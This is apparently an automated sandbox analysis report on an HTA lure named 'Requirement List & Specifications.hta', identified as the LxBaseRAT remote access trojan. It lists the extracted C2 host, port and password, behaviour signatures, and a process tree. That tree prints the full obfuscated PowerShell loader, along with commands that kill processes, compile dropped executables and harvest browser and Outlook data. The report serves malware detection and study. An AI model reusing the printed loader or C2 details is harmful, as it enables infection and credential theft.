Analysis

  • max time kernel
    298s
  • max time network
    300s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    20/10/2026, 09:13

General

  • Target
    Requirement List & Specifications.hta
  • Size 30KB
  • Sample261020-k68stsfx4v
  • SHA256 5435ec2d38053a71a2f474407f4be84dde6b763f88d026c9d59b7f253b0a184e
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • lxbaserat

Version
  • 1.0.50

Botnet
  • Frost Zynova

Campaign
  • f97c184d3ebe4ee9ada1a3cd041ad9fe

C2
  • tarxl.electronicracks.com:2683

Attributes
  • directory

    WindowsTelemetry\Logs

  • executable

    client.exe

  • password

    wCraTsNkzb02iL17ZeG2

Signatures

  • Family: LxBaseRAT

    LxBaseRAT is a .NET remote access trojan with stealer capabilities.

  • Badlisted process makes network request 5 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 1 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Looks up external IP address via web service 1 TTPs 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • SmartAssembly .NET packer 1 IoCs

    Detects SmartAssembly .NET packer.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Kills process with taskkill 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of WriteProcessMemory 19 IoCs
  • outlook_office_path 1 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\Requirement List & Specifications.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    1⤵
    • Checks computer location settings
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:4460
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c C:\Windows\SysNative\WindowsPowerShell\v1.0\powershell.exe ""$j=26-76;$it86Wyv='6IZAfhWw4pTz';$bJGAjlb='QvphmLN41gjABf0H';$g4ujFnxX='QjNNN041m1LANpmhm04LNBNvQ140p1hHLvvA4NQgQLv4hgvhL4h4NppNN4Nv4mL0vjmHNhQ0pH4BN0NfLgmQ4g4QLmvQm1LpQh40mp4jmHL4hAvghfL04BmgQp4mp1hHLvvAhNQgQvv4LLmpvLN4NLmQNvNHh4v4QQmH4gQ1m14vp0L4LgLBNjLgQNQhhLmNQhNvp1hHLLQHhfvNmjmhphmBv1h4NphL4QL4NhmjvjmphLQmQLh1pAhpm4vNNp4NmjmhLhvfmmh4NpmQv1LALQQQQBLpNvLpm141pgNNQ4NgL0LmvfL0NAmfmpm4NLNhm1vBm1mhQfmLNjmgQp4mLfpvQNN4LgNALNQmmgmLv1mQ4mNgLLLBNjQLmjmLp4LfNvvgQfvvvBvppfQfhLNmNALmmpmQNLNgmjLAN0m1h0mLN4m0v1L0Nv4LLfLLN1LHhhvQhm4hQg4Q4LNgLLmN4m4fvBmL4jmHQH4BNBhAQvvpLNNhQAL0pQ4hQg4Q4LNgLLmN4m4fvBmL4jmHQH4BNBmHmLmpN14QLmvQLjmBvHpphpvNhNNv4gmBvBL0ph4hQQ4NNLNAvBvHL0m1QfmLNQmmvHhhhhvNhNvppfQfm0mB4Am0QHN4Ng4mLpvpmgmpvgmmNpmHQf44mm4jm1LhmALHQvm4mpmgQp414hhAm4vp4fmBvBmANhQQmmm14hNHm0LANhmjhL44LhQmQfphpghAhvh1pfQfm0QjpjmvLfhhhfhA4pL44jQQpvm1NmmLQHN4pQm1mLmv4gm1QhQmmQmLv1hfL440L04vNvmmQAmm4jvAmBv0QjhAvBvppfQgQHv1p0vfmBLmNLNHvvNQNBmhQjmLNhQQmvLjN0NAmgmNmpmHQmmHNfLmmBh4NvpAvBvHm0mpvAmm4jQQm14phQhL4QL4NhmjvjmphLQQNvvgpQhAvBvpNAmpvBmHNHmhQmhhp1hHLfQvpfmmQQQjpjmvL0hjpQNQvBmN4HLmm0Lvp0LpQgN44LNgLpvppgmBLHQmmjmHvA4fNB4mLfLNmgmBvjmApNQmQfpQpghAmvvpN0mBvjmgNNQQv4hhNh4mLpmNNmmhvAmHp0LfmBN0hAhAhvh1pfQfm0Qj4BmLv1NN4p4LvBvNNhL1QpmNp0LfL4hhQfvvvBvppfQfmjmAhjQQLvhhp4hBQ4hHQ4Qfm0Qjp0QmQfpNpQpNvBvjLpmHpHm0NhQQmALjLmpAQL4fLLNhQh4QNgvfLvhmpgpQhvh1pgmBL1QjhhQQmBh4NvpHvBvgpgmB';$iVbiBEA='jNf4Hp000h0ffpHpALAmBvHHj0BBAHBB0A0ggh0mAvH0fvH4BB10A01Qj00ffLAmjp0mgHAjjQg1BNA0HQjLfg11jpAfBLAgfmALg1j01QH1gHAmBNANgAgQBQf1BpBh0j0mf0HjALAmB4HHA1BBf4AAjv1BgNAHAvHpgmg404gAjLf4jAHjg4gLHL0vg414fL1pgjf4HpH1j1AAfQA0AfApBjfgANj4jBHAj1ABjQAAA1jLH1ggf1Bf0j0vfjHNHQ0hfvHmAhBmjQ1N1pjggHHpANAQAgAhjjANBBgQHmj1gHAN0gAhjNAAjL1jj1A0Hmg41AgHjmgggN0pj0BAfNBf0jHNfpHpAvHLfvHHAhBBHp0004jBBLHpjBHLALAQ0m1pgh1AjpjgANAh0LAmA4jfHB1vAh1fjfjN1vHpALAmBv0mg00NfHBm0h0ffpHpAvHLg1AgAhBmfA1LHm0ffHABHmHLfLAv0N1QghBf0hANfpHNHQ0ffv0pAhA4jBgfAQAgg4AHAH1vgmj404BpAj1jjQjpgNAAHHApjB0LjgAgjAjpHA0hALA40L1N1LjfHj1pg1BB04jBBLHAjjf1HAHHAhBBfHBm04jBBAHpjBHLfg1QHvjfgA1g0h0jgN1jBmAmAg1fjpfHgAghH0HQfLHAjjHLfLAfjhBBBpBm0AgpgQghHLA1fvH1H4Amjjjjj4H0gv0HANHBBjHHA410B0BmH00ffNAhjgHAA1AvH41g14jAjL0LfNAhj1HBBjHHg00NfHBm0h0ffNAQjhHLBBHHA41fB4Bj1jjhgNA40ggjg4H4A410BHBfH1BQH1HpAvHLfvHHHj1jfHBB04jHBhHpABApgmHHjhBBfp1LjfjgfpHNHh04fvHpHmg1fHBQjvHBfAHp0jHLfLAfjpBBfmfg0h0ggh0AAHgggmAvHmg1g4fH0hBQH1HpAvHLfvHAHvfHfHfg0h0ggQ0QAvH1fvHAHvffBm0gBg0ffpHpAvHLfLAfj4BBBpBm04jBBjHBBpjQghjB04g0gN1jjm0LfNAQjQHgfvHAHvfHfNfHB0B4fpHpAvHvgh0fAhfvfHBQjpHLfBgAHHAvgmj4fB1jf4BQjvHffA0ggBfHfvHHAhBBfHBQjvH1fp0HAv10jpjN0Qg1gj1g0f10gfAB04AQ1hjAB0fNBLjpAvjpgHgQHQjNgm0gj4AH1AgNjjjhgLHjALA4BLHNj1BBfHBm04jHBQHpjBHLfLA0jABpAN1jj4j11jgfH4HffLAfjhBLBmBm0h0ffNAQ';$eTyrQoNJ='h1LLLALf40hLLhNLmvppQBph4phjQQLL40hNLANphhmvNpNNpjLLmNLgh1NpmA4Np1v4hAhH4gQvQhvQ4mQNQ0pfNmpgQAhpNhvjQ1LhvAp4v1p0NLp0QmhHL4mHLBhvhLhLQHNhpBp0LfNHhv41NBLf4jvhQ0hHpLvBvjpgNgvQvLQ04jp1mAv1N4h0vBNAmLv4QBv1hgpQmAQ1L1vgm1NAm0vQvLv0hHhjQHppNNpAm1hjpjpNQhvvhHh4vHNNm4p0QpphNgQvmNLQvBhfvgh14BNBLfNN4NLLpQvpp1hgQjhHpLv1QgpmNNvQmNhhhAhgQ0N4mAvBhfmAQQLLmNLf4j4QQg4Bp14vm1NpN1mhm1hjhHpQhHhp41pgmQN0LLv4p4vgh44mmBQvmBQfLfQg4fm1LALj4h4mmQNApQvhQjQ4N0v1mNLjvQhfLH4BmhQHhjp1mApNhHvNvNv4vB4fpHNLmv4fQ44HNA444j4mmANApBp0LQ4ApppjQmhBh0hgmANBmjQ1Q4hmLjhNp4vvvNQLLN4NpHNLLhmAQQLLmNLf4j4QQg4pp14vm1N0LLv4p4vgh44mmBvALBQgLvvB4fmfQvhvhhh4QQQ4mA4fQLQjm0mLQgpfQ0pmQNQv4vvLQHvNLgvpvphmvgQvQmvAhjvfQHQHNQvgQAh4pQNQQNQv4vQNQhQBLgpQvLpfh4hQQNvANp4fQNQjNhpBLvhvN1h4LfvALAQfQvvBN4pHvBhphhNQLfQ4Nv4Bv0Qj4hmfvhhmQ0hAvfQ4LA4mvfQjLAm1LALj4h4mLQNApBp0LvNNh4LLmpvHNh4jh1h0NjhHvBhmNhvAQvLLNj41mANHNj4LmNQjNHvAQvQghp4mmNNAhg4gmvmAQQLvQLmf4jNgmANhL4p0pgppN4LLmvv1QANgLNNBpv44NLmBpjLLmNLf40h4LjNAhLNBmQvgN1hmQpvQ4j4hQfvjhL4vmHNHhv41NBLf4j4mmANHNA40m14ApjLvQmmj4mvhQ0hHmLpgvBp0NLvvm0LLQLhNpjpHNLNBmHQg4QQpQ1Lj4h4mmQNApQvhQjQ4N0v1mNLjvLh0Qm4NpHNLmvN1mhvAvQvphvhvmhNHNNhgQmpjpNLLhfvph1h0Q0p14Bv4hLvApjLfmpvHNh4mm4NHNA4fmmNNpppjQmhBh0hgmANBm4v0Q4vNmfvBpHmjvLphLN4NpHNLmmNNp0v4L0Lv4j4QQ14Ap1NQm1N0LLv4p4vgh44mmBQNLQQjm4NvphLBmHQQp4LgNv';$vC5Ut3ctq=0x9594-0x7E0B;$zht5TboQ=@();foreach($sTI23dbCa in [char[]]$it86Wyv){$zht5TboQ+=[byte]($sTI23dbCa-bxor0x5A)};$zeOTq2C=$zht5TboQ;$zht5TboQ=@();foreach($sTI23dbCa in [char[]]$it86Wyv){$zht5TboQ+=[byte]($sTI23dbCa-bxor0xA5)};$bwQQBgdR=$zht5TboQ;$zht5TboQ=@();foreach($sTI23dbCa in [char[]]$it86Wyv){$zht5TboQ+=[byte]($sTI23dbCa-bxor0x3C)};$zD7tq8=$zht5TboQ;$k7Vl0a9Ru='';$qQlfQji=0;$ouPia9Fw=0;while($qQlfQji-lt$g4ujFnxX.Length){$mglBFs0fa=$bJGAjlb.IndexOf($g4ujFnxX[$qQlfQji])*16+$bJGAjlb.IndexOf($g4ujFnxX[$qQlfQji+1]);if($ouPia9Fw-ge$zeOTq2C.Length){$ouPia9Fw=0};$k7Vl0a9Ru+=[char]($mglBFs0fa-bxor$zeOTq2C[$ouPia9Fw]);$ouPia9Fw++;$qQlfQji+=2};$jxwoLbVq8=$k7Vl0a9Ru;$k7Vl0a9Ru='';$qQlfQji=0;$ouPia9Fw=0;while($qQlfQji-lt$iVbiBEA.Length){$mglBFs0fa=$bJGAjlb.IndexOf($iVbiBEA[$qQlfQji])*16+$bJGAjlb.IndexOf($iVbiBEA[$qQlfQji+1]);if($ouPia9Fw-ge$bwQQBgdR.Length){$ouPia9Fw=0};$k7Vl0a9Ru+=[char]($mglBFs0fa-bxor$bwQQBgdR[$ouPia9Fw]);$ouPia9Fw++;$qQlfQji+=2};$lYYc6kNG=$k7Vl0a9Ru;$k7Vl0a9Ru='';$qQlfQji=0;$ouPia9Fw=0;while($qQlfQji-lt$eTyrQoNJ.Length){$mglBFs0fa=$bJGAjlb.IndexOf($eTyrQoNJ[$qQlfQji])*16+$bJGAjlb.IndexOf($eTyrQoNJ[$qQlfQji+1]);if($ouPia9Fw-ge$zD7tq8.Length){$ouPia9Fw=0};$k7Vl0a9Ru+=[char]($mglBFs0fa-bxor$zD7tq8[$ouPia9Fw]);$ouPia9Fw++;$qQlfQji+=2};$q45egpO=$k7Vl0a9Ru;$l7dQRJhv=$jxwoLbVq8+$lYYc6kNG+$q45egpO;^&([char[]](105,101,120)-join'') $l7dQRJhv""; Copy-Item -Path '"C:\Users\Admin\AppData\Local\Temp\Requirement List & Specifications.hta"' -Destination 'C:\ProgramData\pSFSkrr.hta' -Force""
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:1752
      • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\SysNative\WindowsPowerShell\v1.0\powershell.exe ""$j=26-76;$it86Wyv='6IZAfhWw4pTz';$bJGAjlb='QvphmLN41gjABf0H';$g4ujFnxX='QjNNN041m1LANpmhm04LNBNvQ140p1hHLvvA4NQgQLv4hgvhL4h4NppNN4Nv4mL0vjmHNhQ0pH4BN0NfLgmQ4g4QLmvQm1LpQh40mp4jmHL4hAvghfL04BmgQp4mp1hHLvvAhNQgQvv4LLmpvLN4NLmQNvNHh4v4QQmH4gQ1m14vp0L4LgLBNjLgQNQhhLmNQhNvp1hHLLQHhfvNmjmhphmBv1h4NphL4QL4NhmjvjmphLQmQLh1pAhpm4vNNp4NmjmhLhvfmmh4NpmQv1LALQQQQBLpNvLpm141pgNNQ4NgL0LmvfL0NAmfmpm4NLNhm1vBm1mhQfmLNjmgQp4mLfpvQNN4LgNALNQmmgmLv1mQ4mNgLLLBNjQLmjmLp4LfNvvgQfvvvBvppfQfhLNmNALmmpmQNLNgmjLAN0m1h0mLN4m0v1L0Nv4LLfLLN1LHhhvQhm4hQg4Q4LNgLLmN4m4fvBmL4jmHQH4BNBhAQvvpLNNhQAL0pQ4hQg4Q4LNgLLmN4m4fvBmL4jmHQH4BNBmHmLmpN14QLmvQLjmBvHpphpvNhNNv4gmBvBL0ph4hQQ4NNLNAvBvHL0m1QfmLNQmmvHhhhhvNhNvppfQfm0mB4Am0QHN4Ng4mLpvpmgmpvgmmNpmHQf44mm4jm1LhmALHQvm4mpmgQp414hhAm4vp4fmBvBmANhQQmmm14hNHm0LANhmjhL44LhQmQfphpghAhvh1pfQfm0QjpjmvLfhhhfhA4pL44jQQpvm1NmmLQHN4pQm1mLmv4gm1QhQmmQmLv1hfL440L04vNvmmQAmm4jvAmBv0QjhAvBvppfQgQHv1p0vfmBLmNLNHvvNQNBmhQjmLNhQQmvLjN0NAmgmNmpmHQmmHNfLmmBh4NvpAvBvHm0mpvAmm4jQQm14phQhL4QL4NhmjvjmphLQQNvvgpQhAvBvpNAmpvBmHNHmhQmhhp1hHLfQvpfmmQQQjpjmvL0hjpQNQvBmN4HLmm0Lvp0LpQgN44LNgLpvppgmBLHQmmjmHvA4fNB4mLfLNmgmBvjmApNQmQfpQpghAmvvpN0mBvjmgNNQQv4hhNh4mLpmNNmmhvAmHp0LfmBN0hAhAhvh1pfQfm0Qj4BmLv1NN4p4LvBvNNhL1QpmNp0LfL4hhQfvvvBvppfQfmjmAhjQQLvhhp4hBQ4hHQ4Qfm0Qjp0QmQfpNpQpNvBvjLpmHpHm0NhQQmALjLmpAQL4fLLNhQh4QNgvfLvhmpgpQhvh1pgmBL1QjhhQQmBh4NvpHvBvgpgmB';$iVbiBEA='jNf4Hp000h0ffpHpALAmBvHHj0BBAHBB0A0ggh0mAvH0fvH4BB10A01Qj00ffLAmjp0mgHAjjQg1BNA0HQjLfg11jpAfBLAgfmALg1j01QH1gHAmBNANgAgQBQf1BpBh0j0mf0HjALAmB4HHA1BBf4AAjv1BgNAHAvHpgmg404gAjLf4jAHjg4gLHL0vg414fL1pgjf4HpH1j1AAfQA0AfApBjfgANj4jBHAj1ABjQAAA1jLH1ggf1Bf0j0vfjHNHQ0hfvHmAhBmjQ1N1pjggHHpANAQAgAhjjANBBgQHmj1gHAN0gAhjNAAjL1jj1A0Hmg41AgHjmgggN0pj0BAfNBf0jHNfpHpAvHLfvHHAhBBHp0004jBBLHpjBHLALAQ0m1pgh1AjpjgANAh0LAmA4jfHB1vAh1fjfjN1vHpALAmBv0mg00NfHBm0h0ffpHpAvHLg1AgAhBmfA1LHm0ffHABHmHLfLAv0N1QghBf0hANfpHNHQ0ffv0pAhA4jBgfAQAgg4AHAH1vgmj404BpAj1jjQjpgNAAHHApjB0LjgAgjAjpHA0hALA40L1N1LjfHj1pg1BB04jBBLHAjjf1HAHHAhBBfHBm04jBBAHpjBHLfg1QHvjfgA1g0h0jgN1jBmAmAg1fjpfHgAghH0HQfLHAjjHLfLAfjhBBBpBm0AgpgQghHLA1fvH1H4Amjjjjj4H0gv0HANHBBjHHA410B0BmH00ffNAhjgHAA1AvH41g14jAjL0LfNAhj1HBBjHHg00NfHBm0h0ffNAQjhHLBBHHA41fB4Bj1jjhgNA40ggjg4H4A410BHBfH1BQH1HpAvHLfvHHHj1jfHBB04jHBhHpABApgmHHjhBBfp1LjfjgfpHNHh04fvHpHmg1fHBQjvHBfAHp0jHLfLAfjpBBfmfg0h0ggh0AAHgggmAvHmg1g4fH0hBQH1HpAvHLfvHAHvfHfHfg0h0ggQ0QAvH1fvHAHvffBm0gBg0ffpHpAvHLfLAfj4BBBpBm04jBBjHBBpjQghjB04g0gN1jjm0LfNAQjQHgfvHAHvfHfNfHB0B4fpHpAvHvgh0fAhfvfHBQjpHLfBgAHHAvgmj4fB1jf4BQjvHffA0ggBfHfvHHAhBBfHBQjvH1fp0HAv10jpjN0Qg1gj1g0f10gfAB04AQ1hjAB0fNBLjpAvjpgHgQHQjNgm0gj4AH1AgNjjjhgLHjALA4BLHNj1BBfHBm04jHBQHpjBHLfLA0jABpAN1jj4j11jgfH4HffLAfjhBLBmBm0h0ffNAQ';$eTyrQoNJ='h1LLLALf40hLLhNLmvppQBph4phjQQLL40hNLANphhmvNpNNpjLLmNLgh1NpmA4Np1v4hAhH4gQvQhvQ4mQNQ0pfNmpgQAhpNhvjQ1LhvAp4v1p0NLp0QmhHL4mHLBhvhLhLQHNhpBp0LfNHhv41NBLf4jvhQ0hHpLvBvjpgNgvQvLQ04jp1mAv1N4h0vBNAmLv4QBv1hgpQmAQ1L1vgm1NAm0vQvLv0hHhjQHppNNpAm1hjpjpNQhvvhHh4vHNNm4p0QpphNgQvmNLQvBhfvgh14BNBLfNN4NLLpQvpp1hgQjhHpLv1QgpmNNvQmNhhhAhgQ0N4mAvBhfmAQQLLmNLf4j4QQg4Bp14vm1NpN1mhm1hjhHpQhHhp41pgmQN0LLv4p4vgh44mmBQvmBQfLfQg4fm1LALj4h4mmQNApQvhQjQ4N0v1mNLjvQhfLH4BmhQHhjp1mApNhHvNvNv4vB4fpHNLmv4fQ44HNA444j4mmANApBp0LQ4ApppjQmhBh0hgmANBmjQ1Q4hmLjhNp4vvvNQLLN4NpHNLLhmAQQLLmNLf4j4QQg4pp14vm1N0LLv4p4vgh44mmBvALBQgLvvB4fmfQvhvhhh4QQQ4mA4fQLQjm0mLQgpfQ0pmQNQv4vvLQHvNLgvpvphmvgQvQmvAhjvfQHQHNQvgQAh4pQNQQNQv4vQNQhQBLgpQvLpfh4hQQNvANp4fQNQjNhpBLvhvN1h4LfvALAQfQvvBN4pHvBhphhNQLfQ4Nv4Bv0Qj4hmfvhhmQ0hAvfQ4LA4mvfQjLAm1LALj4h4mLQNApBp0LvNNh4LLmpvHNh4jh1h0NjhHvBhmNhvAQvLLNj41mANHNj4LmNQjNHvAQvQghp4mmNNAhg4gmvmAQQLvQLmf4jNgmANhL4p0pgppN4LLmvv1QANgLNNBpv44NLmBpjLLmNLf40h4LjNAhLNBmQvgN1hmQpvQ4j4hQfvjhL4vmHNHhv41NBLf4j4mmANHNA40m14ApjLvQmmj4mvhQ0hHmLpgvBp0NLvvm0LLQLhNpjpHNLNBmHQg4QQpQ1Lj4h4mmQNApQvhQjQ4N0v1mNLjvLh0Qm4NpHNLmvN1mhvAvQvphvhvmhNHNNhgQmpjpNLLhfvph1h0Q0p14Bv4hLvApjLfmpvHNh4mm4NHNA4fmmNNpppjQmhBh0hgmANBm4v0Q4vNmfvBpHmjvLphLN4NpHNLmmNNp0v4L0Lv4j4QQ14Ap1NQm1N0LLv4p4vgh44mmBQNLQQjm4NvphLBmHQQp4LgNv';$vC5Ut3ctq=0x9594-0x7E0B;$zht5TboQ=@();foreach($sTI23dbCa in [char[]]$it86Wyv){$zht5TboQ+=[byte]($sTI23dbCa-bxor0x5A)};$zeOTq2C=$zht5TboQ;$zht5TboQ=@();foreach($sTI23dbCa in [char[]]$it86Wyv){$zht5TboQ+=[byte]($sTI23dbCa-bxor0xA5)};$bwQQBgdR=$zht5TboQ;$zht5TboQ=@();foreach($sTI23dbCa in [char[]]$it86Wyv){$zht5TboQ+=[byte]($sTI23dbCa-bxor0x3C)};$zD7tq8=$zht5TboQ;$k7Vl0a9Ru='';$qQlfQji=0;$ouPia9Fw=0;while($qQlfQji-lt$g4ujFnxX.Length){$mglBFs0fa=$bJGAjlb.IndexOf($g4ujFnxX[$qQlfQji])*16+$bJGAjlb.IndexOf($g4ujFnxX[$qQlfQji+1]);if($ouPia9Fw-ge$zeOTq2C.Length){$ouPia9Fw=0};$k7Vl0a9Ru+=[char]($mglBFs0fa-bxor$zeOTq2C[$ouPia9Fw]);$ouPia9Fw++;$qQlfQji+=2};$jxwoLbVq8=$k7Vl0a9Ru;$k7Vl0a9Ru='';$qQlfQji=0;$ouPia9Fw=0;while($qQlfQji-lt$iVbiBEA.Length){$mglBFs0fa=$bJGAjlb.IndexOf($iVbiBEA[$qQlfQji])*16+$bJGAjlb.IndexOf($iVbiBEA[$qQlfQji+1]);if($ouPia9Fw-ge$bwQQBgdR.Length){$ouPia9Fw=0};$k7Vl0a9Ru+=[char]($mglBFs0fa-bxor$bwQQBgdR[$ouPia9Fw]);$ouPia9Fw++;$qQlfQji+=2};$lYYc6kNG=$k7Vl0a9Ru;$k7Vl0a9Ru='';$qQlfQji=0;$ouPia9Fw=0;while($qQlfQji-lt$eTyrQoNJ.Length){$mglBFs0fa=$bJGAjlb.IndexOf($eTyrQoNJ[$qQlfQji])*16+$bJGAjlb.IndexOf($eTyrQoNJ[$qQlfQji+1]);if($ouPia9Fw-ge$zD7tq8.Length){$ouPia9Fw=0};$k7Vl0a9Ru+=[char]($mglBFs0fa-bxor$zD7tq8[$ouPia9Fw]);$ouPia9Fw++;$qQlfQji+=2};$q45egpO=$k7Vl0a9Ru;$l7dQRJhv=$jxwoLbVq8+$lYYc6kNG+$q45egpO;&([char[]](105,101,120)-join'') $l7dQRJhv""; Copy-Item -Path '"C:\Users\Admin\AppData\Local\Temp\Requirement List & Specifications.hta"' -Destination 'C:\ProgramData\pSFSkrr.hta' -Force""
        3⤵
        • Badlisted process makes network request
        • Adds Run key to start application
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3088
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Start-Process cmd.exe -ArgumentList '/c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F' -WindowStyle Hidden -Wait
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1696
          • C:\Windows\system32\cmd.exe
            "C:\Windows\system32\cmd.exe" /c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F
            5⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:1636
            • C:\Windows\system32\taskkill.exe
              taskkill /IM RegAsm.exe /F
              6⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:3232
            • C:\Windows\system32\taskkill.exe
              taskkill /IM Vbc.exe /F
              6⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:4928
            • C:\Windows\system32\taskkill.exe
              taskkill /IM MsBuild.exe /F
              6⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:896
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe"
          4⤵
          • Accesses Microsoft Outlook profiles
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious behavior: GetForegroundWindowSpam
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          • outlook_office_path
          PID:4044
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe"
            5⤵
            • Loads dropped DLL
            PID:2456
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
            "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /nologo /optimize+ /target:exe /platform:x64 /unsafe+ /out:"C:\Users\Admin\AppData\Local\Temp\.dfc_b5311fa7.dat" "C:\Users\Admin\AppData\Local\Temp\.dfc_b5311fa7.tmp"
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:5024
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:AMD64 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES80CF.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCA213E5D964BE4C9A8F2CC835675A9CCA.TMP"
              6⤵
                PID:876
            • C:\Users\Admin\AppData\Local\Temp\.dfc_b5311fa7.dat
              "C:\Users\Admin\AppData\Local\Temp\.dfc_b5311fa7.dat" 2456 "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\msasn1.dll" "\\.\pipe\chrome.nacl.28804_1D0D"
              5⤵
              • Executes dropped EXE
              PID:4492
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
              "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /nologo /optimize+ /target:exe /platform:x64 /unsafe+ /out:"C:\Users\Admin\AppData\Local\Temp\.dfc_488df484.dat" "C:\Users\Admin\AppData\Local\Temp\.dfc_488df484.tmp"
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:684
              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:AMD64 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8497.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC4AE65BC6146E4A45847514E73BB27723.TMP"
                6⤵
                  PID:4304
              • C:\Users\Admin\AppData\Local\Temp\.dfc_488df484.dat
                "C:\Users\Admin\AppData\Local\Temp\.dfc_488df484.dat" "C:\Program Files\Mozilla Firefox" "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\edapv89t.Admin|Admin;C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\hqbw6bhi.default-release|default-release" "C:\Users\Admin\AppData\Local\Temp\c376-95cl-adc1-7451\Firefox"
                5⤵
                • Executes dropped EXE
                PID:3280
      • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
        "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
        1⤵
          PID:3856
        • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
          "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
          1⤵
            PID:1628

          Network

                MITRE ATT&CK Enterprise v16

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                powershell.exe.log

                • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 2KB
                • SHA256 b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8
                • MD5 SHA1 SHA512 TLSH

                msasn1.dll

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\msasn1.dll
                • Size 63KB
                • SHA256 0232e3d13e53fc069b113190903be389ec59f5991acd99aecc8011d19c2d9282
                • MD5 SHA1 SHA512 SSDEEP TLSH

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 def4f4f87ba9b841fac784a98ef04d2b7e6fd598309c610eeb321e3521158943
                • MD5 SHA1 SHA512 TLSH

                .dfc_488df484.dat

                • Path C:\Users\Admin\AppData\Local\Temp\.dfc_488df484.dat
                • Size 9KB
                • SHA256 17aff254976ad4b41e0678ef0a85aca78824a8a43b89a97f4f1ba2375a512c31
                • MD5 SHA1 SHA512 SSDEEP TLSH

                .dfc_b5311fa7.dat

                • Path C:\Users\Admin\AppData\Local\Temp\.dfc_b5311fa7.dat
                • Size 6KB
